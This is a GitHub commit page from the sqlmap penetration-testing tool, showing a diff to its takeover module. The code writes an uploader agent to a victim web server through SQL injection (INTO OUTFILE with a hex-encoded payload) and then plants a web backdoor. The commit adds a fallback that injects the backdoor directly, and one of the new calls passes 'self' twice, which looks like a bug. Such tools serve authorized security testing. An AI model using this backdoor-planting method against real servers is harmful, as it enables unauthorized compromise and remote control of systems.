Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit c4951fd

Browse files
committed
some updates regarding --os-shell option
1 parent b5deab1 commit c4951fd

1 file changed

Lines changed: 35 additions & 17 deletions

File tree

lib/takeover/web.py

Lines changed: 35 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -92,9 +92,12 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
9292
"file": stream,
9393
"uploadDir": directory,
9494
}
95-
95+
9696
page = Request.getPage(url=self.webUploaderUrl, multipart=multipartParams, raise404=False)
9797

98+
if stream:
99+
stream.seek(0)
100+
98101
if "File uploaded" not in page:
99102
warnMsg = "unable to upload the backdoor through "
100103
warnMsg += "the uploader agent on '%s'" % directory
@@ -106,6 +109,16 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
106109
elif self.webApi == "jsp":
107110
return False
108111

112+
def __webFileInject(self, fileContent, fileName, directory):
113+
outFile = normalizePath("%s/%s" % (directory, fileName))
114+
uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if kb.os == "Windows" else directory)
115+
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
116+
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
117+
query = agent.prefixQuery(" %s" % query)
118+
query = agent.postfixQuery(query)
119+
payload = agent.payload(newValue=query)
120+
page = Request.queryPage(payload)
121+
109122
def webInit(self):
110123
"""
111124
This method is used to write a web backdoor (agent) on a writable
@@ -155,20 +168,15 @@ def webInit(self):
155168

156169
backdoorName = "backdoor.%s" % self.webApi
157170
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName + '_'), backdoorName)
171+
backdoorContent = backdoorStream.read()
172+
backdoorStream.seek(0)
158173

159174
uploaderName = "uploader.%s" % self.webApi
160175
uploaderContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName + '_'))
161176

162177
for directory in directories:
163178
# Upload the uploader agent
164-
outFile = normalizePath("%s/%s" % (directory, uploaderName))
165-
uplQuery = uploaderContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if kb.os == "Windows" else directory)
166-
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
167-
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
168-
query = agent.prefixQuery(" %s" % query)
169-
query = agent.postfixQuery(query)
170-
payload = agent.payload(newValue=query)
171-
page = Request.queryPage(payload)
179+
self.__webFileInject(uploaderContent, uploaderName, directory)
172180

173181
requestDir = ntToPosixSlashes(directory).replace(ntToPosixSlashes(kb.docRoot), "/").replace("//", "/")
174182
if isWindowsPath(requestDir):
@@ -178,7 +186,7 @@ def webInit(self):
178186
self.webUploaderUrl = "%s/%s" % (self.webBaseUrl, uploaderName)
179187
self.webUploaderUrl = ntToPosixSlashes(self.webUploaderUrl.replace("./", "/"))
180188
uplPage, _ = Request.getPage(url=self.webUploaderUrl, direct=True, raise404=False)
181-
189+
182190
if "sqlmap file uploader" not in uplPage:
183191
warnMsg = "unable to upload the uploader "
184192
warnMsg += "agent on '%s'" % directory
@@ -193,12 +201,22 @@ def webInit(self):
193201
if kb.os == "Windows":
194202
directory = posixToNtSlashes(directory)
195203

196-
if self.__webFileStreamUpload(backdoorStream, backdoorName, directory):
197-
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
198-
self.webDirectory = directory
199-
infoMsg = "the backdoor has probably been successfully "
200-
infoMsg += "uploaded on '%s', go with your browser " % directory
201-
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
202-
logger.info(infoMsg)
204+
if not self.__webFileStreamUpload(backdoorStream, backdoorName, directory):
205+
message = "backdoor hasn't been successfully uploaded "
206+
message += "with uploader probably because of permission "
207+
message += "issues. do you want to try the same method used "
208+
message += "for uploader? [y/N] "
209+
getOutput = readInput(message, default="N")
210+
if getOutput in ("y", "Y"):
211+
self.__webFileInject(self, backdoorContent, backdoorName, directory)
212+
else:
213+
continue
214+
215+
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
216+
self.webDirectory = directory
217+
infoMsg = "the backdoor has probably been successfully "
218+
infoMsg += "uploaded on '%s', go with your browser " % directory
219+
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
220+
logger.info(infoMsg)
203221

204222
break

0 commit comments

Comments
 (0)